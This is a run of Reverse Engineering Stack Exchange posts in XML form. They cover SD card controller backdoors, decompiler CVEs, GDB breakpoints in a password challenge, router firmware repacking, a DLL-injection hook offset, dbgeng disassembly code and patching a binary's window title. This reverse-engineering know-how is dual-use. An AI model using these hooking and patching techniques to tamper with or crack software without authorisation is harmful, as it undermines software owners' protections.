  <row Id="22308" PostTypeId="2" ParentId="22299" CreationDate="2019-10-13T19:11:51.660" Score="1" Body="&lt;p&gt;The SD card controllers are usually embedded deeply into the card and do not offer easy access to their firmware (SPI or otherwise). However, they may have undocumented backdoor commands over the SD interface that are used for factory testing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the details and investigation of one family of controllers in bunnie &amp;amp; xobs's 30C3 talk: &lt;a href=&quot;https://bunniefoo.com/bunnie/sdcard-30c3-pub.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;slides&lt;/a&gt;, &lt;a href=&quot;https://media.ccc.de/v/30C3_-_5294_-_en_-_saal_1_-_201312291400_-_the_exploration_and_exploitation_of_an_sd_memory_card_-_bunnie_-_xobs&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;, &lt;a href=&quot;https://github.com/xobs/ax2xx-code&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt;, &lt;a href=&quot;https://www.bunniestudios.com/blog/?page_id=3592&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-13T19:11:51.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22309" PostTypeId="1" AcceptedAnswerId="22310" CreationDate="2019-10-14T01:06:54.470" Score="2" ViewCount="354" Body="&lt;p&gt;I noticed that &lt;a href=&quot;https://www.hex-rays.com/bugbounty.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hex-Ray have been keeping reward to people who find &quot;security vulnerabilities&quot; of IDA-Pro&lt;/a&gt;.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question, how come a decompiler can have &quot;security vulnerabilities&quot;? And more importantly, is there any real-world example to attack decompilers or disassemblers? Or can I perform certain kind of &quot;malware evading attacks&quot; by abusing the decompiler bugs?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2019-10-14T10:50:47.170" LastActivityDate="2019-10-14T15:31:21.370" Title="Decompiler attack" Tags="|ida|decompilation|exploit|vulnerability-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22310" PostTypeId="2" ParentId="22309" CreationDate="2019-10-14T07:53:56.903" Score="2" Body="&lt;p&gt;I guess that you won't be happy if, while analyzing a malware, a certain pattern in the executable binary makes Hex-rays connect to an evil server somewhere in the World with your account and download a payload on your system...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, yes, there have been some examples where security analysis software have been pinpointed with security threats. The last I have in mind are on Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2019-16941/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2019-16941&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2019-13623/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CVE-2019-13623&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://threatpost.com/bug-in-nsas-ghidra/148787/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2019-10-14T15:31:21.370" LastActivityDate="2019-10-14T15:31:21.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22311" PostTypeId="2" ParentId="22219" CreationDate="2019-10-14T21:34:14.200" Score="1" Body="&lt;h2&gt;pycryptodome&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could give &lt;code&gt;pycryptodome&lt;/code&gt; a try. Beware, it is meant as a replacement of &lt;code&gt;pycrypto&lt;/code&gt;. If you have the need to run pycrypto in parallel, you can use the separate, stand-alone package &lt;code&gt;pycryptodomex&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It implements all crypto primitives from scratch (instead of relying on external libraries) and it offers a &lt;strong&gt;&lt;a href=&quot;https://pycryptodome.readthedocs.io/en/latest/src/public_key/rsa.html#Crypto.PublicKey.RSA.construct&quot; rel=&quot;nofollow noreferrer&quot;&gt;Key Construct Method&lt;/a&gt;&lt;/strong&gt; that allows to construct a key from the components. If switched on, it can also perform a &lt;strong&gt;consistency check&lt;/strong&gt; on the entered key components.&lt;/p&gt;&#xA;" OwnerUserId="23639" LastActivityDate="2019-10-14T21:34:14.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22312" PostTypeId="1" CreationDate="2019-10-15T00:43:05.733" Score="2" ViewCount="183" Body="&lt;p&gt;I am working on a reverse engineering challenge and have a binary file.  I know how to get the flag by changing the instruction flow after doing a strcmp so I jump to the function that prints the flag.  However, when I set a breakpoint on strcmp, it is hit 144 times before the first call to strcmp in the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the program asks for user input twice and after each scanf(), strcmp is called.  The program wants you to enter two passwords to get the flag.  Before the initial strcmp, I have to pass 144 breaks at strcmp and I cannot figure out why when the results of objdump only call strcmp the two times that I mentioned above.  I can share the objdump if necessary, but does anybody have any idea why this could be?  Am I missing something about debugging in GDB?  Are there ways to hide the code doing this in the binary that I am not seeing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it's 144 times before the &quot;initial call&quot; since I continue 144 breaks and then the program finally asks me for the first input (password).  &lt;/p&gt;&#xA;" OwnerUserId="29893" LastActivityDate="2019-10-16T03:09:20.963" Title="Breakpoint in GDB hit 144 times before first call to function" Tags="|binary-analysis|gdb|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22314" PostTypeId="2" ParentId="22201" CreationDate="2019-10-15T15:05:25.347" Score="2" Body="&lt;p&gt;Yes, this is possible. You can replace TitanEngine.dll with &lt;a href=&quot;https://github.com/mrexodia/StaticEngine&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mrexodia/StaticEngine&lt;/a&gt; and “attach” to a running process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is however no way to switch debugging modes and breakpoints etc will simply not work.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2019-10-15T15:05:25.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22316" PostTypeId="2" ParentId="22312" CreationDate="2019-10-16T03:09:20.963" Score="3" Body="&lt;p&gt;It is to be taken in consideration that many internal functions use &lt;code&gt;strcmp&lt;/code&gt; too. For example in this binary for the first hit on &lt;code&gt;strcmp&lt;/code&gt; on my machine looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────&#xA; ► f 0     7ffff7df2990 strcmp&#xA;   f 1     7ffff7ddb5a6 dl_main+1670&#xA;   f 2     7ffff7df079e _dl_sysdep_start+1006&#xA;   f 3     7ffff7ddaae8 _dl_start+648&#xA;   f 4     7ffff7ddaae8 _dl_start+648&#xA;   f 5     7ffff7dd9c28 _dl_start_user&#xA;   f 6                1&#xA;   f 7     7fffffffe340&#xA;   f 8                0&#xA;───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&#xA;Breakpoint strcmp&#xA;pwndbg&amp;gt; dumpargs&#xA; rdi = 0x400238 ◂— '/lib64/ld-linux-x86-64.so.2'&#xA; rsi = 0x7ffff7dd9794 ◂— insb   byte ptr [rdi], dx /* 'ld-linux-x86-64.so.2' */&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Judging by the backtrace &lt;code&gt;dl_main&lt;/code&gt; calls &lt;code&gt;strcmp&lt;/code&gt; to match loader path. Similarly other calls are from loader when libraries are  resolved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────&#xA; ► f 0     7ffff7df2990 strcmp&#xA;   f 1     7ffff7de9845 _dl_name_match_p+21&#xA;   f 2     7ffff7de15c9 _dl_map_object+137&#xA;   f 3     7ffff7de5fc0 openaux+48&#xA;   f 4     7ffff7de8644 _dl_catch_error+116&#xA;   f 5     7ffff7de622f _dl_map_object_deps+607&#xA;   f 6     7ffff7ddc6c2 dl_main+6050&#xA;   f 7     7ffff7df079e _dl_sysdep_start+1006&#xA;   f 8     7ffff7ddaae8 _dl_start+648&#xA;   f 9     7ffff7ddaae8 _dl_start+648&#xA;   f 10     7ffff7dd9c28 _dl_start_user&#xA;───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&#xA;Breakpoint strcmp&#xA;pwndbg&amp;gt; dumpargs&#xA; rdi = 0x4003d9 ◂— insb   byte ptr [rdi], dx /* 'libc.so.6' */&#xA; rsi = 0x7ffff7ffe700 ◂— 0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This number of calls to could be variable based on the config on your system - such as loaders and libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to note is that in my case the binary's GOT resolves with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x601038] strcmp@GLIBC_2.2.5 -&amp;gt; 0x7ffff7ac9520 (__strcmp_sse2_unaligned) ◂— mov    eax, edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a different function than the one we hit in breakpoints above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to just stop on the ones which get called from the binary, set up a breakpoint on the call sites.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x40090d    call   strcmp@plt &amp;lt;0x400630&amp;gt;&#xA;0x400961    call   strcmp@plt &amp;lt;0x400630&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2019-10-16T03:09:20.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22317" PostTypeId="1" CreationDate="2019-10-16T05:40:56.147" Score="1" ViewCount="215" Body="&lt;p&gt;I tried to install some LordPE version but all when I open then no program that is  running displayed in LordPE.I don't know why?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vLI6g.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vLI6g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you guys show me the way to fix this problem.I appreciate all of your help?&lt;/p&gt;&#xA;" OwnerUserId="29903" LastActivityDate="2019-10-16T05:40:56.147" Title="How to display processes that are running of computer in LordPE?" Tags="|pe|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22318" PostTypeId="2" ParentId="22125" CreationDate="2019-10-16T10:34:41.470" Score="1" Body="&lt;p&gt;It depends. For example Samsung XSR stores information about the blocks in spare area, thus you need to have to dump both data and spare.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-10-16T10:34:41.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22319" PostTypeId="1" CreationDate="2019-10-16T17:19:19.760" Score="1" ViewCount="1065" Body="&lt;p&gt;I managed to unpack the filesystem contents of a TP-Link router &lt;code&gt;.bin&lt;/code&gt; file using &lt;code&gt;binwalk&lt;/code&gt;, &lt;code&gt;dd&lt;/code&gt; and &lt;code&gt;unsquashfs&lt;/code&gt;. The squash FS was at the end of the bin file, the part before having a relatively large lzma archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to make changes to the filesystem and repack the firmware file back. How can I achieve this? How do I know whether I need to attach a checksum or similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is different from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13262/how-can-i-put-a-binwalk-extracted-firmware-back-into-a-bin-binary-file&quot;&gt;How can I put a Binwalk extracted firmware back into a .bin binary file?&lt;/a&gt; in that it's vendor specific, &lt;code&gt;firmware-mod-kit&lt;/code&gt; is a not preferred option (unless it's the only one...) and it contains an extra question&lt;/p&gt;&#xA;" OwnerUserId="29909" LastActivityDate="2019-10-16T17:19:19.760" Title="How to repack reverse-engineered router firmware?" Tags="|firmware|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22320" PostTypeId="1" AcceptedAnswerId="22324" CreationDate="2019-10-16T18:06:19.903" Score="0" ViewCount="84" Body="&lt;p&gt;I am trying to reverse and debug a program but it exists after certain point, tried setting breakpoint on any inter module call that starts with exit or terminate, now here's the weird part :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it does break on exitprocess, but before that the actual executable gets removed from explorer's taskbar and from the bottom right side in the taskbar (which shows small program icons next to clock) but the actual process is still in the task manager&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how is it exiting that the actual process is not terminated but the taskbar icons (both the main icon and the small one next to clock) get terminated? i want to break on that one before the exit process, because trying to trace back from the exit process one leads me to entrypoint (_start)! (tried tracing back from it with the stack return addresses)&lt;/p&gt;&#xA;" OwnerUserId="28109" LastEditorUserId="28109" LastEditDate="2019-10-16T18:42:17.747" LastActivityDate="2019-10-16T22:09:27.910" Title="Which APIs are responsible for terminating process icons in Taskbar?" Tags="|windows|debugging|ollydbg|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22321" PostTypeId="1" AcceptedAnswerId="22378" CreationDate="2019-10-16T20:44:06.073" Score="0" ViewCount="271" Body="&lt;p&gt;I have some code that hooks a function via dll injection. The code works fine but i'm a little perplexed as to how it works. The code needs to calculate the offset from the function that i'm going to hook to the hooked function. It works perfectly but i've noticed that sometimes the offset is positive and sometimes it's negative (e.g. m_hkFuncAddr &amp;lt; m_hkAddr). Sometimes my dll is loaded before the address i'm trying to hook and sometimes it is after (I check using a utility called vmmap if that means anything). Regardless, it will work. But if I reverse the two, it's a guaranteed crash, regardless of where my dll is placed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dwhkRelative = (((DWORD)m_hkFuncAddr - (DWORD)m_hkAddr) - 5);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it that when I reverse the two it crashes, but when it's a negative offset, it works fine? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="29913" LastActivityDate="2019-10-24T01:57:32.150" Title="Function Hooking via Dll Injection Negative Offset" Tags="|function-hooking|dll-injection|virtual-memory|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22322" PostTypeId="2" ParentId="22137" CreationDate="2019-10-16T20:56:55.867" Score="2" Body="&lt;p&gt;you don't have to attach to a running process you can open any binary as a dumpfile and ask windbg to disassemble a given function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a dbgeng api Execute and ExecuteCmdFile that can execute commands &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can write a standalone dbgeng executable that can open a binary run the  command uf and quit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with &lt;strong&gt;&quot;.opendump \..\foo.dll ; uf foo!blah;q&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sample code and results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma comment ( lib ,&quot;dbgeng.lib&quot;)&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;dbgeng.h&amp;gt;&#xA;#include &quot;out.cpp&quot; //from remmon windbg sdk sample dir for stdiocallbacks&#xA;StdioOutputCallbacks g_Callback;&#xA;int main (int argc , char* argv[])&#xA;{&#xA;    IDebugClient*    g_Client  = NULL;&#xA;    IDebugControl*   g_Control = NULL;&#xA;    if(argc == 2 )&#xA;    {&#xA;        if (DebugCreate(__uuidof(IDebugClient), (void**)&amp;amp;g_Client) == S_OK)&#xA;        {&#xA;            if (g_Client-&amp;gt;QueryInterface(__uuidof(IDebugControl),(void**)&amp;amp;g_Control) == S_OK )&#xA;            {&#xA;                g_Client-&amp;gt;SetOutputCallbacks( &amp;amp;g_Callback );&#xA;                g_Control-&amp;gt;Execute(DEBUG_OUTCTL_THIS_CLIENT,argv[1],DEBUG_EXECUTE_DEFAULT);&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with in vsdevcmdprompt vs2017 community&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /Zi /O1 /W4 /analyze /EHsc uf.cpp /link /release&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;copy the relevent dbgeng.dll / dbghelp.dll and extension dll to current working&lt;br&gt;&#xA;directory or copy the executable to windbg installation directory   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;do not use the system default dbgeng/dbghelp dlls  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;uf.exe &quot;.opendump c:\windows\system32\kernelbase.dll;uf kernelbase!CreateFileA;q&quot;&#xA;WARNING: The debugger does not have a current process or thread&#xA;WARNING: Many commands will not work    &#xA;Microsoft (R) Windows Debugger Version 10.0.18362.1 X86&#xA;Copyright (c) Microsoft Corporation. All rights reserved.    &#xA;Loading Dump File [c:\windows\system32\kernelbase.dll]&#xA;kernelbase!CreateFileA:&#xA;0dd162d1 8bff            mov     edi,edi&#xA;0dd162d3 55              push    ebp&#xA;0dd162d4 8bec            mov     ebp,esp&#xA;0dd162d6 51              push    ecx&#xA;0dd162d7 51              push    ecx&#xA;0dd162d8 ff7508          push    dword ptr [ebp+8]&#xA;0dd162db 8d45f8          lea     eax,[ebp-8]&#xA;0dd162de 50              push    eax&#xA;0dd162df e83127fdff      call    kernelbase!GetModuleHandleW+0x9a (0dce8a15)&#xA;0dd162e4 85c0            test    eax,eax&#xA;0dd162e6 7505            jne     kernelbase!CreateFileA+0x1c (0dd162ed)    &#xA;kernelbase!CreateFileA+0x17:&#xA;0dd162e8 83c8ff          or      eax,0FFFFFFFFh&#xA;0dd162eb eb2a            jmp     kernelbase!CreateFileA+0x46 (0dd16317)    &#xA;kernelbase!CreateFileA+0x1c:&#xA;0dd162ed 56              push    esi&#xA;0dd162ee ff7520          push    dword ptr [ebp+20h]&#xA;0dd162f1 ff751c          push    dword ptr [ebp+1Ch]&#xA;0dd162f4 ff7518          push    dword ptr [ebp+18h]&#xA;0dd162f7 ff7514          push    dword ptr [ebp+14h]&#xA;0dd162fa ff7510          push    dword ptr [ebp+10h]&#xA;0dd162fd ff750c          push    dword ptr [ebp+0Ch]&#xA;0dd16300 ff75fc          push    dword ptr [ebp-4]&#xA;0dd16303 e86044fdff      call    kernelbase!CreateFileW (0dcea768)&#xA;0dd16308 8bf0            mov     esi,eax&#xA;0dd1630a 8d45f8          lea     eax,[ebp-8]&#xA;0dd1630d 50              push    eax&#xA;0dd1630e ff159410ce0d    call    dword ptr [kernelbase+0x1094 (0dce1094)]&#xA;0dd16314 8bc6            mov     eax,esi&#xA;0dd16316 5e              pop     esi    &#xA;kernelbase!CreateFileA+0x46:&#xA;0dd16317 c9              leave&#xA;0dd16318 c21c00          ret     1Ch&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-10-16T21:08:00.523" LastActivityDate="2019-10-16T21:08:00.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22323" PostTypeId="2" ParentId="22320" CreationDate="2019-10-16T21:39:41.277" Score="0" Body="&lt;p&gt;There is no single specific API for this. IIRC the taskbar button corresponds to the main window of the process so likely it’s removed once the window is destroyed (but the process may continue running until it exits). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you’re looking for will likely be either in the main &lt;a href=&quot;http://winprog.org/tutorial/window_click.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;window procedure&lt;/a&gt; (e.g. handling of WM_CLOSE or WM_QUIT), or after the end of the main &lt;a href=&quot;http://winprog.org/tutorial/message_loop.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;message loop&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-16T21:39:41.277" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22324" PostTypeId="2" ParentId="22320" CreationDate="2019-10-16T22:09:27.910" Score="0" Body="&lt;p&gt;the process may run a long after the icons vanish from taskbar tearing down&lt;br&gt;&#xA;try closing a browser like firefox  its icon will vanish long before one of the many instances of firefox gets out of task manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you may need to look for WM_DESTROY  WM_GETICON , WM_SHOWWINDOW messages &lt;/p&gt;&#xA;&#xA;&lt;p&gt;use some spy utility like spy++ and corelate it with procmon  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;below is a log of spy++ closing firefox (WM_MOUSE and WM_NONCLIENT WM_NCXX.. excluded)&#xA;and clicked the x button  on right corner &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;000001&amp;gt; 003401E6 S WM_WINDOWPOSCHANGING lpwp:0031F198&#xA;&amp;lt;000002&amp;gt; 003401E6 R WM_WINDOWPOSCHANGING&#xA;&amp;lt;000003&amp;gt; 003401E6 S WM_ERASEBKGND hdc:5E010B3E&#xA;&amp;lt;000004&amp;gt; 003401E6 R WM_ERASEBKGND fErased:True&#xA;&amp;lt;000005&amp;gt; 003401E6 S WM_WINDOWPOSCHANGED lpwp:0031F198&#xA;&amp;lt;000006&amp;gt; 003401E6 R WM_WINDOWPOSCHANGED&#xA;&amp;lt;000007&amp;gt; 003401E6 S WM_ACTIVATEAPP fActive:True dwThreadID:00000000&#xA;&amp;lt;000008&amp;gt; 003401E6 R WM_ACTIVATEAPP&#xA;&amp;lt;000009&amp;gt; 003401E6 S WM_ACTIVATE fActive:WA_CLICKACTIVE fMinimized:False hwndPrevious:(null)&#xA;&amp;lt;000010&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F&#xA;&amp;lt;000011&amp;gt; 003401E6 S WM_IME_NOTIFY dwCommand:IMN_OPENSTATUSWINDOW dwCommand:00000002 dwData:00000000&#xA;&amp;lt;000012&amp;gt; 003401E6 R WM_IME_NOTIFY&#xA;&amp;lt;000013&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000014&amp;gt; 003401E6 S WM_SETFOCUS hwndLoseFocus:(null)&#xA;&amp;lt;000015&amp;gt; 003401E6 S WM_WINDOWPOSCHANGING lpwp:0031E8F4&#xA;&amp;lt;000016&amp;gt; 003401E6 R WM_WINDOWPOSCHANGING&#xA;&amp;lt;000017&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F&#xA;&amp;lt;000018&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000019&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F&#xA;&amp;lt;000020&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000021&amp;gt; 003401E6 R WM_SETFOCUS&#xA;&amp;lt;000022&amp;gt; 003401E6 R WM_ACTIVATE&#xA;&amp;lt;000023&amp;gt; 003401E6 S WM_PAINT hdc:00000000&#xA;&amp;lt;000024&amp;gt; 003401E6 R WM_PAINT&#xA;&amp;lt;000025&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F&#xA;&amp;lt;000026&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000027&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F&#xA;&amp;lt;000028&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000029&amp;gt; 003401E6 S WM_GETICON nType:ICON_SMALL2&#xA;&amp;lt;000030&amp;gt; 003401E6 R WM_GETICON hicon:00000000&#xA;&amp;lt;000031&amp;gt; 003401E6 S WM_GETICON nType:ICON_SMALL&#xA;&amp;lt;000032&amp;gt; 003401E6 R WM_GETICON hicon:00000000&#xA;&amp;lt;000033&amp;gt; 003401E6 S WM_GETICON nType:ICON_BIG&#xA;&amp;lt;000034&amp;gt; 003401E6 R WM_GETICON hicon:00000000&#xA;&amp;lt;000035&amp;gt; 003401E6 S WM_CAPTURECHANGED hwndNewCapture:00000000&#xA;&amp;lt;000036&amp;gt; 003401E6 R WM_CAPTURECHANGED&#xA;&amp;lt;000037&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F&#xA;&amp;lt;000038&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000039&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F&#xA;&amp;lt;000040&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000041&amp;gt; 003401E6 S WM_CAPTURECHANGED hwndNewCapture:00000000&#xA;&amp;lt;000042&amp;gt; 003401E6 R WM_CAPTURECHANGED&#xA;&amp;lt;000043&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F&#xA;&amp;lt;000044&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000045&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F&#xA;&amp;lt;000046&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000047&amp;gt; 003401E6 S WM_SHOWWINDOW fShow:False fuStatus:0 (ShowWindow was called)&#xA;&amp;lt;000048&amp;gt; 003401E6 R WM_SHOWWINDOW&#xA;&amp;lt;000049&amp;gt; 003401E6 S WM_WINDOWPOSCHANGING lpwp:0031F1B4&#xA;&amp;lt;000050&amp;gt; 003401E6 R WM_WINDOWPOSCHANGING&#xA;&amp;lt;000051&amp;gt; 003401E6 S WM_WINDOWPOSCHANGED lpwp:0031F1B4&#xA;&amp;lt;000052&amp;gt; 003401E6 R WM_WINDOWPOSCHANGED&#xA;&amp;lt;000053&amp;gt; 003401E6 S WM_SIZE fwSizeType:SIZE_MAXIMIZED nWidth:1280 nHeight:778&#xA;&amp;lt;000054&amp;gt; 003401E6 R WM_SIZE&#xA;&amp;lt;000055&amp;gt; 003401E6 S WM_MOVE xPos:0 yPos:65528&#xA;&amp;lt;000056&amp;gt; 003401E6 R WM_MOVE&#xA;&amp;lt;000057&amp;gt; 003401E6 S WM_ACTIVATE fActive:WA_INACTIVE fMinimized:False hwndPrevious:(null)&#xA;&amp;lt;000058&amp;gt; 003401E6 R WM_ACTIVATE&#xA;&amp;lt;000059&amp;gt; 003401E6 S WM_ACTIVATEAPP fActive:False dwThreadID:00000420&#xA;&amp;lt;000060&amp;gt; 003401E6 R WM_ACTIVATEAPP&#xA;&amp;lt;000061&amp;gt; 003401E6 S WM_KILLFOCUS hwndGetFocus:(null)&#xA;&amp;lt;000062&amp;gt; 003401E6 R WM_KILLFOCUS&#xA;&amp;lt;000063&amp;gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F&#xA;&amp;lt;000064&amp;gt; 003401E6 S WM_IME_NOTIFY dwCommand:IMN_CLOSESTATUSWINDOW dwCommand:00000001 dwData:00000000&#xA;&amp;lt;000065&amp;gt; 003401E6 R WM_IME_NOTIFY&#xA;&amp;lt;000066&amp;gt; 003401E6 R WM_IME_SETCONTEXT&#xA;&amp;lt;000067&amp;gt; 003401E6 S message:0x0090 [Unknown] wParam:00000000 lParam:00000000&#xA;&amp;lt;000068&amp;gt; 003401E6 R message:0x0090 [Unknown] lResult:00000000&#xA;&amp;lt;000069&amp;gt; 003401E6 S WM_DESTROY&#xA;&amp;lt;000070&amp;gt; 003401E6 R WM_DESTROY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-10-16T22:09:27.910" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22327" PostTypeId="1" AcceptedAnswerId="22341" CreationDate="2019-10-17T05:26:06.527" Score="0" ViewCount="1985" Body="&lt;p&gt;So I'm trying to patch a binary (its a GUI app), and i want to patch the title of it as well when I'm patching it, and by title i mean the text that appears on top of the app that usually is the application name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i achieve this? should i break on a certain API and modify it or...? (I'm using x32dbg but can use Olly as well), i know there might be many ways, but what is the most common way? i just want some lead to go after&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry if this is a newbee question, tried googling and came up with some windows APIs but don't know how to patch it to change the title, tried changing some of them but didnt work &lt;/p&gt;&#xA;" OwnerUserId="28109" LastEditorUserId="28109" LastEditDate="2019-10-17T05:32:18.223" LastActivityDate="2019-10-18T18:57:58.497" Title="How to change the title of a windows GUI app when patching? (the title that usually writes the application name)" Tags="|debugging|ollydbg|patching|crackme|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
